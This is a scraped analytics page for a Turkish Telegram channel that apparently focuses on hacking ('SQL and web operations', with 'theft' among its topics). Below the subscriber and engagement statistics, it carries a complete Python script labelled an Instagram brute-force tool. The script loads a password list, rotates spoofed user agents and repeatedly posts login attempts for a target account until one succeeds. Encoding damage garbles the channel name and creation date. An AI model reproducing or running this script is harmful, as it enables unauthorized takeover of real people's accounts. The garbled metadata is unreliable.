πππΜπ ππππ
π Analytical overview of Telegram channel πππΜπ ππππ
Channel πππΜπ ππππ (@voidhack0) in the Turkish language segment is an active participant. Currently, the community unites 10 398 subscribers, ranking 10 443 in the Technologies & Applications category and 2 973 in the Turkey region.
π Audience metrics and dynamics
Since its creation on Π½Π΅Π²ΡΠ΄ΠΎΠΌΠΎ, the project has demonstrated rapid growth, gathering an audience of 10 398 subscribers.
According to the latest data from 17 January, 2026, the channel demonstrates stable activity. Although there has been a change in the number of participants by -318 over the last 30 days and by 0 over the last 24 hours, overall reach remains high.
- Verification status: Not verified
- Engagement rate (ER): The average audience engagement rate is 2.47%. Within the first 24 hours after publication, content typically collects 1.41% reactions from the total number of subscribers.
- Post reach: On average, each post receives 257 views. Within the first day, a publication typically gains 147 views.
- Reactions and interaction: The audience actively supports content: the average number of reactions per post is 2.
- Thematic interests: Content is focused on key topics such as paneliΜ, sorgu, Γ§ΓΆzΓΌm, kiΜΕi, Γ§alma.
π Description and content policy
The author describes the resource as a platform for expressing subjective opinions:
βSQL Ve Web Δ°Εlemleriβ
Thanks to the high frequency of updates (latest data received on 18 March, 2026), the channel maintains relevance and a high level of publication reach. Analytics show that the audience actively interacts with content, making it an important point of influence in the Technologies & Applications category.
import requests
import time
import random
target_username ="KULANICI ADI"
password_list ="passwords.txt"
login_url ="https://www.instagram.com/accounts/login/ajax/"
user_agents = ["Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Safari/605.1.15","Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1"
]
session = requests.Session()
session.headers = {"User-Agent": random.choice(user_agents)}
response = session.get("https://www.instagram.com/")
csrf_token = response.cookies["csrftoken"]
with open(password_list,"r", encoding="utf-8") as file:
passwords = file.read().splitlines()
print(f"{target_username} hesabΔ± iΓ§in brute force baΕlΔ±yor...")
for password in passwords:
session.headers.update({"X-CSRFToken": csrf_token})
data = {"username": target_username,"enc_password": f"#PWD_INSTAGRAM_BROWSER:0:{int(time.time())}:{password}","queryParams": {},"optIntoOneTap":"false"
}
response = session.post(login_url, data=data, allow_redirects=False)
time.sleep(random.uniform(2, 5))
if"authenticated\": true" in response.text:
print(f"[BAΕARILI] Εifre bulundu: {password}")
break
elif"checkpoint_required" in response.text:
print(f"[DΔ°KKAT] Εifre doΔru olabilir ama doΔrulama gerekiyor: {password}")
break
else:
print(f"[BAΕARISIZ] Denenen Εifre: {password}")
print("Brute force tamamlandΔ±.")
Δ°NSTAGRAM BRUTE FORCE TOOL
KULANICI ADI GΔ°R
PASWORD LΔ°ST GΔ°R
YETER KENDΔ° DENETLEYΔ°P ATAR
Cr @SahalOrj | @SahalPython